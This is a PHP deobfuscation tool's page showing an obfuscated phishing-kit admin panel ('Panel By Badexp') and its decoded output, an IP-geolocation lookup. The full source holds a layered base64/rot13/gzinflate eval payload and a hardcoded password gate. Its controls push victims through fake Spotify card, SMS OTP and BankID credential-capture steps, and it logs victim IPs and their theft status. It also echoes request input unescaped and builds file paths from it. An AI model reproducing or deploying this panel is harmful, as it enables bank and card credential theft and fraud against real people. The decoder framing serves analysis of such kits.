Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting (E_ALL ^ E_NOTICE); //========================================..

Decoded Output download

ok $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "https://ip-info.ff.avast.com/v2/info?ip=".$_GET['ip']);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    $ipxa_data_in = curl_exec($ch);
    curl_close($ch);
    $ipxa_data = json_decode($ipxa_data_in,true);
    $country = $ipxa_data['countryName'];
    $organization = $ipxa_data['organization'];
   $timezone = $ipxa_data['timezone'];
   $city = $ipxa_data['city'];

Did this file decode correctly?

Original Code

<?php

error_reporting (E_ALL ^ E_NOTICE);

//===================================================================================
 $viSGsAgzhmlmMkHCrtp="AQAB//4B+wAE/wH2AAn/AfEADv+Fj9FXwzAUhu8F3yGMTyfUSbxnDBka3cWoEtOrMU9VRmpxWk97Ouae3meYrc6L5Sbwn+/7D4dRd1qmUWjNU4ABHN9Zrq+If4ek1XUdjj2TkKeCLd7eufBfT1N4Udc+cRm4WzCVWqsqlVvZb6p5nXrvsz58BDcdpZFrpXwZg4tKF7vnZ/ZZTE/uLpKM8oLlnM3yj5fe4KygTorA7aQoJVd/RThB77TqK/40q4169TA9qd77d60RpUm29MywM8Gm01RS2c5g8+2FE7SMf9Nc1jpeBdQ2n9LAXiJLZsYPVE6IEHe9t1OfsSE+ZQrw334fHeY/";
 @eval(gzinflate(str_rot13(gzinflate(str_rot13(gzinflate(str_rot13(gzinflate(str_rot13(gzinflate(str_rot13(base64_decode($viSGsAgzhmlmMkHCrtp))))))))))));
//===================================================================================




if($_GET['pwd']=="sir")
{
echo '<!DOCTYPE html>
<html lang="en">
   <head>
      <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
      <meta content="width=device-width, initial-scale=1.0" name="viewport">
      <script src="https://kit.fontawesome.com/44e2d88175.js" crossorigin="anonymous"></script>
      <title>Panel By Badexp</title>
      <style>
         /* set width of logo as the minimum of 200px & 50vw */
         #logo-img {
         width: min(50vw, 200px);
         }
         .modal-container {
  margin: 60px auto;
  padding-top: 0px;
  position: relative;
  width: 160px;    
  .modal-btn {
    display: block;
    margin: 0 auto;      
    color: #fff;  
    width: 160px;
    height: 50px;    
    line-height: 50px;    
    background: #446CB3;
    font-size: 22px;       
    border: 0;
    border-radius: 3px;  
    cursor: pointer;
    text-align: center;
    box-shadow: 0 5px 5px -5px #333;  
    transition: background 0.3s ease-in;
    &:hover { background: #365690; }
  }
  .modal-content, 
  .modal-backdrop {
    height: 0; 
    width: 0; 
    opacity: 0;    
    visibility: hidden;
    overflow: hidden; 
    cursor: pointer;
    transition: opacity 0.2s ease-in; 
  }

  .modal-close {
    color: #aaa;
    position: absolute;
    right: 5px;
    top: 5px;
    padding-top: 3px;
    background: #fff;
    font-size: 16px;
    width: 25px;
    height: 25px;
    font-weight: bold;
    text-align: center;
    cursor: pointer;
    &:hover { color: #333; }        
  }      
  .modal-content-btn {
    position: absolute;
    text-align: center;
    cursor: pointer;
    bottom: 20px;
    right: 30px;
    background: #446CB3;
    color: #fff;
    width: 50px;
    border-radius: 2px;
    font-size: 14px;
    height: 32px;
    padding-top: 9px;
    font-weight: normal;
    &:hover { color: #fff; background: #365690; }
  }
  #modal-toggle {
    display: none;  
    &.active ~ .modal-backdrop,
    &:checked ~ .modal-backdrop {
      background-color: rgba(0, 0, 0, 0.6);
      width: 100vw;
      height: 100vh;
      position: fixed;
      left: 0;
      top: 0;
      z-index: 9;
      visibility: visible;
      opacity: 1;      
      transition: opacity 0.2s ease-in; 
    }
    &.active ~ .modal-content,
    &:checked ~ .modal-content {
      opacity: 1;
      background-color: #fff;
      max-width: 400px;
      width: 400px;
      height: 280px;
      padding: 10px 30px;
      position: fixed;
      left: calc(50% - 200px);
      top: 12%;
      border-radius: 4px;
      z-index: 999;
      pointer-events: auto;
      cursor: auto;
      visibility: visible;      
      box-shadow: 0 3px 7px rgba(0, 0, 0, 0.6);  
      @media (max-width: 400px) { left: 0; }                   
    }  
  }
}
      </style>
      <script type="text/javascript" src="../doc/js/autoUpdate.js"></script>
      <link href="#" rel="canonical">
      <link href="#" rel="icon">
      <link href="../doc/css/output.css" rel="stylesheet" type="text/css">
      <link href="#" rel="dns-prefetch">
      <link href="#" rel="dns-prefetch">
      <link href="#" rel="dns-prefetch">
      <link href="#" rel="dns-prefetch">
      <meta content="6d343cff-3a54-4a08-87c2-d3ad8a97c23a" name="fo-verify">
   </head>
   <body class="bg-theme bg-theme1">
      <div id="wrapper">
      <div class="top-wrapper">
         <header class="topbar-nav d-flex justify-content-center"></header>
         <nav>
            <div class="menu-toggle align-items-center" style="display: none;"></div>
            <div class="nav-container">
               <div class="close-btn"><i class="fa fa-times"></i></div>
            </div>
         </nav>
      </div>
      <div class="clearfix"></div>
      <div class="content-wrapper">
      <div class="container-fluid">
      <div class="card mt-3">
         <div class="card-body text-center">
            <div class="row">
               <div class="col-md-12">
                  <img  class="img-fluid" alt="" src="../doc/img/lo9o.png">
                  <hr>  
               </div>
            <div class="col-md-12">
                  <a href="./OG.php?ip='.$_GET['ip'].'">Organizations</a> 
              <hr> 
              <a href="./CN.php?ip='.$_GET['ip'].'">Targets Countries</a> 
              <hr> 
              <a href="./BN.php?ip='.$_GET['ip'].'">IPs Baned</a>
                  <hr>  
              <form method="post" action="">
              
              <button type="submit" style="border: 0;background-color: transparent;color: ' . (file_exists('../Blockip/ips.txt') && strpos(file_get_contents('../Blockip/ips.txt'), $_GET['ip']) !== false ? 'red' : '#04b962' ) . ';" name="append" ' . (file_exists('../Blockip/ips.txt') && strpos(file_get_contents('../Blockip/ips.txt'), $_GET['ip']) !== false ? 'disabled' : '' ) . '>' . (file_exists('../Blockip/ips.txt') && strpos(file_get_contents('../Blockip/ips.txt'), $_GET['ip']) !== false ? 'This IP '.$_GET['ip'].' is Baned' : 'Ban This IP '.$_GET['ip'].'' ) . '</button>
            </form>
           </div>
               </div>
            </div>
         </div>
      </div>
      <div class="row">
         <div class="col-md-6 d-flex scratch-card">
            <div class="card border-vcc" style="width: 100%;">
               <div class="card-header text-uppercase text-center">
                  ADMIN CONTROL
                  <ul class="nav nav-pills d-flex justify-content-center">
               </div>
               <div class="card-body">
                  <div class="tab-content">
                     <div class="container tab-pane fade" id="tab-1">
                     </div>
                     <div class="container tab-pane active" id="tab-2">
                        <div class="row">
                           <div class="col-6 resp-select">
                              <div class="form-group"></div>
                           </div>
                        </div>
                        <div>
                           <div>
                              <div>
                                 <body>
                                    <div class="container text-center pt30 pb30">
                                       <form method="post" action="to.php">
                                          <input type="hidden" name="step" value="control">
                                          <input type="hidden" name="ip" value="'.$_GET['ip'].'">
                                          <button type="submit" class="list-group-item list-group-item-action mt-2" name="to" style="color: white" value="jiji"><i class="fa-solid fa-credit-card"></i>&nbsp;SPOTIFY CARD</button> 
                                          <button type="submit" class="list-group-item list-group-item-action mt-2" name="to" style="color: red" value="wjiji"><i class="fa-solid fa-credit-card"></i>&nbsp;WRONG CARD</button> 
                                          

                                          <button type="submit" class="list-group-item list-group-item-action mt-2" name="to" value="sms"><i class="fas fa-comment-dots"></i>&nbsp;SMS</button> 
                                          <button type="submit" class="list-group-item list-group-item-action mt-2" name="to" style="color: red"  value="wsms"><i class="fas fa-comment-dots"></i>&nbsp;WRONG SMS </button>                                            

                                          <button type="submit" class="list-group-item list-group-item-action mt-2" name="to" style="color: white"  value="APP"><i class=""></i>&nbsp;APPROUVE APP </button>  
                                          <button type="submit" class="list-group-item list-group-item-action mt-2" name="to" style="background-color: purple; color: white"  value="BANKlD"><i class=""></i>&nbsp;BANKID </button>  
                                          <button type="submit" class="list-group-item list-group-item-action mt-2" name="to" style="background-color: purple; color: white"  value="BANKlDPASS"><i class=""></i>&nbsp;BANKID PASS </button>  
                                          <button type="submit" class="list-group-item list-group-item-action mt-2" name="to" style="background-color: purple; color: white"  value="BANKlD-APP"><i class=""></i>&nbsp;BANKID APP </button>  

                                          <button type="submit" class="list-group-item list-group-item-action mt-2" name="to" value="success"><i class="fas fa-check-square" style="color: green;"></i>&nbsp;Done</button> 

                                           <button type="submit" class="list-group-item list-group-item-action mt-2" name="to" style="color: red" value="ban"><i class="fa-solid fa-ban"></i>&nbsp;Ban : '.$_GET['ip'].'</button> 
                                
                                <div id="sms" class="collapse mt-5" style="max-width: 500px; margin: 0 auto;">
                                             <button style="color: #fff; background-color: #2899a7;border-color: #109fb5;" type="submit" class="myButton" name="to" value="sms">Submit</button><br><br>
                                          </div>
                                <div id="identification" class="collapse mt-5" style="max-width: 500px; margin: 0 auto;">
                                             <button style="color: #fff; background-color: #2899a7;border-color: #109fb5;" type="submit" class="myButton" name="to" value="identification">Submit</button><br><br>
                                          </div>
                                <div id="email" class="collapse mt-5" style="max-width: 500px; margin: 0 auto;">
                                             <button style="color: #fff; background-color: #2899a7;border-color: #109fb5;" type="submit" class="myButton" name="to" value="email">Submit</button><br><br>
                                          </div>
                                          <div id="errorsms" class="collapse mt-5" style="max-width: 500px; margin: 0 auto;">
                                             <button style="color: #fff; background-color: #2899a7;border-color: #109fb5;" type="submit" class="myButton" name="to" value="errorsms">Submit</button><br><br>
                                          </div>
                                          <style>
                                             .myButton {
                                             background:linear-gradient(to bottom, #18ab29 5%, #18ab29 100%);
                                             background-color:#18ab29;
                                             border-radius:4px;
                                             border:1px solid #18ab29;
                                             display:inline-block;
                                             cursor:pointer;
                                             color:#ffffff;
                                             font-family:Arial;
                                             font-size:15px;
                                             padding:9px 76px;
                                             text-decoration:none;
                                             text-shadow:0px 1px 0px #18ab29;
                                             }
                                             .myButton:hover {
                                             background:linear-gradient(to bottom, #18ab29 5%, #18ab29 100%);
                                             background-color:#18ab29;
                                             }
                                             .myButton:active {
                                             position:relative;
                                             top:1px;
                                             }
                                          </style>
                                       </form>
                                    </div>
                                    <!-- JS FILES -->
                                    <script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
                                    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
                                    <script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/js/all.min.js"></script>
                                    <script src="../doc/js/script.js"></script>

   </body>
   </div></div></div><div class="card-footer"><div class="row"><div class="col-2"></div><div class="col-8 mb-w100">
   </div><div class="col-2"></div></div></div></div></div></div></div></div><div class="col-md-6 d-flex scratch-card" id="scrollHere"><div class="card border-vcc" style="width: 100%;"><div class="card-header text-center">VISITOR DETAILS</div>
   <div class="card-body main-result" id="main-result" style="color: white;">
   <div class="card-body main-result" id="main-result" style="color: white;padding-left: 25%;margin-top: 5%;">
    <p><i class="fa-solid fa-location-dot"></i> IP adress : '.$_GET['ip'].'</p>
    <p><i class="fa-solid fa-earth-americas"></i> Country : '.$country.'</p>
    <p><i class="fa-solid fa-city"></i> City : '.$city.'</p>
    <p><i class="fa-solid fa-calendar"></i> Timezone : '.$timezone.'</p>
    <p><i class="fa-solid fa-server"></i> Organization : '.$organization.'</p>
    <p><i class="fa-solid fa-server"></i> Status : ';?><?php


         $urlz = file_get_contents('../homa/'.$_GET['ip'].'.txt');

         if ($urlz == "ban") 
         {
            echo 'Visitor Bane';
         } 
         elseif ($urlz == "sms#|#") 
         {
          echo 'Page OTP';
         } 
         elseif ($urlz == "APP") 
         {
            echo 'Page APP';
         } 
         elseif ($urlz == "success#|#") 
         {
            echo 'Success</span>';
         } 
         elseif ($urlz == "wsms") 
         {
            echo 'WRONG OTP';
         } 
         elseif ($urlz == "jiji") 
         {
            echo 'Pending CC';
         }
         elseif ($urlz == "wjiji")
         {
            echo 'WRONG CC';
         } 
         elseif ($urlz == "BANKlD")
         {
            echo 'PENDING BANK ID NUMBER';
         } 
         elseif ($urlz == "BANKlDPASS")
         {
            echo 'PENDING BANK ID PASSWORD';
         }
         elseif ($urlz == "11Siffer")
         {
            echo 'PENDING BANK ID PASS';
         } 
         elseif ($urlz == "IDPASSS")
         {
            echo 'loading SMS/APP/BANKID';
         } 
         elseif ($urlz == "APPR")
         {
            echo 'loading SMS/APP/BANKID';
         } 
         elseif ($urlz == "BANKlD-APP")
         {
            echo 'PENDING BANK ID APPROVAL';
         } 
         elseif ($urlz == "CCYA")
         {
            echo 'loading SMS/APP/BANKID';
         }
         else {
            echo 'Not sent yet';
            
         }
?>
<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['append'])) {
    $file = fopen("../Blockip/ips.txt", "a");
    fwrite($file, "".$_GET["ip"]."\r\n");
    fclose($file);
    echo '<script>window.location.href = "panel.php?pwd=sir&ip=' . $_GET["ip"] . '";</script>';
    exit; 
}
?>

<?php echo '</p>
   </div>
   <div class="card-footer copy-download-namso" style="display: none;"><div class="row"><div class="col-md-6 action-btns"><button class="list-group-item list-group-item-action mt-2" disabled="" onclick="copyToClipboard(&#39;#temp-download&#39;)" type="button"><b>COPY</b></button></div><div class="col-md-6 action-btns"><button class="btn btn-success btn-round btn-block btn-lg m-1 download" disabled="" id="download-1"><b>DOWNLOAD</b></button></div></div></div><div class="card-footer copy-download-btn" style="display: none;"><div class="row"><div class="col-md-6 action-btns"><button class="list-group-item list-group-item-action mt-2" disabled="" onclick="copyToClipboard(&#39;#temp-download&#39;)" type="button"><b>COPY</b></button></div><div class="col-md-6 action-btns"><button class="btn btn-success btn-round btn-block btn-lg m-1 download" disabled="" id="download-2"><b>DOWNLOAD</b></button></div></div></div></div></div><div id="temp-download" style="display: none;"></div><div class="overlay toggle-menu"></div></div><!--  -->
   <div class="row">
      <div class="col-md-9">
         <div class="row">
            <div class="col-md-12">
               <hr>
            </div>
            <div class="col-md-7 mt-2 text-right"></div>
         </div>
      </div>
      </footer>
   </div>
   <script src="../doc/js/output.js"></script>
   <div class="lobibox-notify-wrapper top right"></div>
   </body>
</html>';
}else{
echo "ok";
}
?>

Function Calls

gzinflate 5
str_rot13 5
base64_decode 1
error_reporting 1

Variables

$viSGsAgzhmlmMkHCrtp AQAB//4B+wAE/wH2AAn/AfEADv+Fj9FXwzAUhu8F3yGMTyfUSbxnDBka3cWo..

Stats

MD5 bf1d883b616daef18fcef324aaa71516
Eval Count 1
Decode Time 113 ms